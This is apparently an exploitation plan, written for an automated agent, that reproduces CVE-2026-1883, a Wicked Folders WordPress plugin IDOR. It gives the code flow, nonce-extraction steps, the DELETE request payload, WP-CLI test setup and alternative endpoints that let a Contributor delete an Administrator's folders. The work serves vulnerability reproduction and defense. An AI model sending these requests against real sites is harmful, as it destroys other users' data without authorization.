Exploitation Research Plan: CVE-2026-1883 - Wicked Folders IDOR Folder Deletion

1. Vulnerability Summary

The Wicked Folders plugin (<= 4.1.0) is vulnerable to an Insecure Direct Object Reference (IDOR) in the Folder_API::delete_folders REST API endpoint. The vulnerability exists because the plugin fails to validate whether the authenticated user (Contributor or higher) has permission to delete the specific folder IDs provided in the request. While a permission check ensures the user can manage folders for a given post_type, it does not enforce ownership or access control at the individual folder level, allowing a low-privileged user to delete folders created by an Administrator.

2. Attack Vector Analysis

• Endpoint: DELETE /wp-json/wicked-folders/v1/folders
• Authentication: Authenticated (Contributor+)
• Capability Required: Typically edit_posts (inherent to Contributor).
• Vulnerable Parameter: folder_ids (an array of folder IDs to be deleted).
• Required Parameters:
  • post_type: The post type the folders belong to (e.g., post, page).
  • folder_ids: An array of numeric IDs of the folders to delete.

3. Code Flow

1. Entry Point: The REST API route is registered in classes/rest-api/v1/folder-api.php:

   register_rest_route( $this->base, '/folders', array(
       array(
           'methods'             => WP_REST_Server::DELETABLE,
           'callback'            => array( $this, 'delete_folders' ),
           'permission_callback' => array( $this, 'delete_folders_permissions_check' ),
           'args'                => array(
               'post_type' => array( 'required' => true ),
               'folder_ids' => array( 'required' => true, 'default' => array() ),
               // ...
           ),
       ),
   ));
   

2. Permission Check: delete_folders_permissions_check (not fully shown in source, but inferred) checks if the user has general permission to edit folders for the specified post_type. Contributor-level users pass this check by default for post types they can edit.
3. Vulnerable Sink: The callback delete_folders (in folder-api.php) instantiates a Folder_Collection for the given post_type and calls the delete method:

   // From classes/folder-collection.php
   public function delete( $ids ) {
       // ... (logic for parent reassignment)
       foreach ( $this->items as $folder ) {
           if ( in_array( $folder->id, $ids ) ) { // No check if $folder belongs to the current user
               $folder->delete();
               $this->remove( $folder );
           }
       }
       return $changed;
   }
   

4. Vulnerability: The loop in Folder_Collection::delete iterates through all folders associated with the post_type. If an ID matches the user-provided $ids array, it calls $folder->delete(). There is no check to ensure the folder was created by the current user or that the user has specific rights to that folder.

4. Nonce Acquisition Strategy

The REST API endpoint requires a standard WordPress REST Nonce (wp_rest).

1. Login: Log in as a Contributor user.
2. Navigate: Use browser_navigate to go to the WordPress Admin dashboard (e.g., /wp-admin/edit.php).
3. Extract Nonce: WordPress exposes the REST nonce in the wpApiSettings object.
   • Tool: browser_eval
   • Command: browser_eval("wpApiSettings.nonce")
4. Fallback: If wpApiSettings is missing, check wickedFoldersSettings or similar localization objects enqueued by the plugin in the page source.

5. Exploitation Strategy

Step-by-Step Plan:

1. Identify Target: As an Administrator, create a folder for the post post type and note its ID.
2. Setup Attacker: Create/login as a Contributor user.
3. Obtain Nonce: Extract the X-WP-Nonce as described in Section 4.
4. Send Malicious Request:
   • Action: Send a DELETE request to the REST API.
   • Endpoint: /wp-json/wicked-folders/v1/folders
   • Headers:
     • Content-Type: application/json
     • X-WP-Nonce: [EXTRACTED_NONCE]
   • Payload:

     {
       "post_type": "post",
       "folder_ids": [TARGET_FOLDER_ID]
     }
     

5. Tool: Use http_request (Playwright) to send the DELETE request.

6. Test Data Setup

1. Target Folder (Admin):
   • Create a folder using the plugin's UI or via WP-CLI:
     wp term create wf_folder "Sensitive Admin Folder" --description="post"
   • Note the ID (e.g., 15).
2. Attacker User:
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

• Response: The server should return a 200 OK or 204 No Content response, potentially containing the updated folder collection.
• Side Effect: The folder with ID TARGET_FOLDER_ID (created by Admin) will be deleted from the database.

8. Verification Steps

1. Check Database: Use WP-CLI to check if the term still exists in the wf_folder taxonomy.
   • wp term list wf_folder --fields=term_id,name
2. Verify Deletion: If the TARGET_FOLDER_ID is no longer in the list, the exploit was successful.

9. Alternative Approaches

• Single Folder Endpoint: If the bulk delete fails, try the single folder delete endpoint:
  DELETE /wp-json/wicked-folders/v1/folders/(?P<id>[\d]+)
  • Payload: {"post_type": "post"}
• Post Type Variation: Test with post_type=page or any other custom post type supported by the plugin, as the vulnerability resides in the core Folder_Collection logic used across types.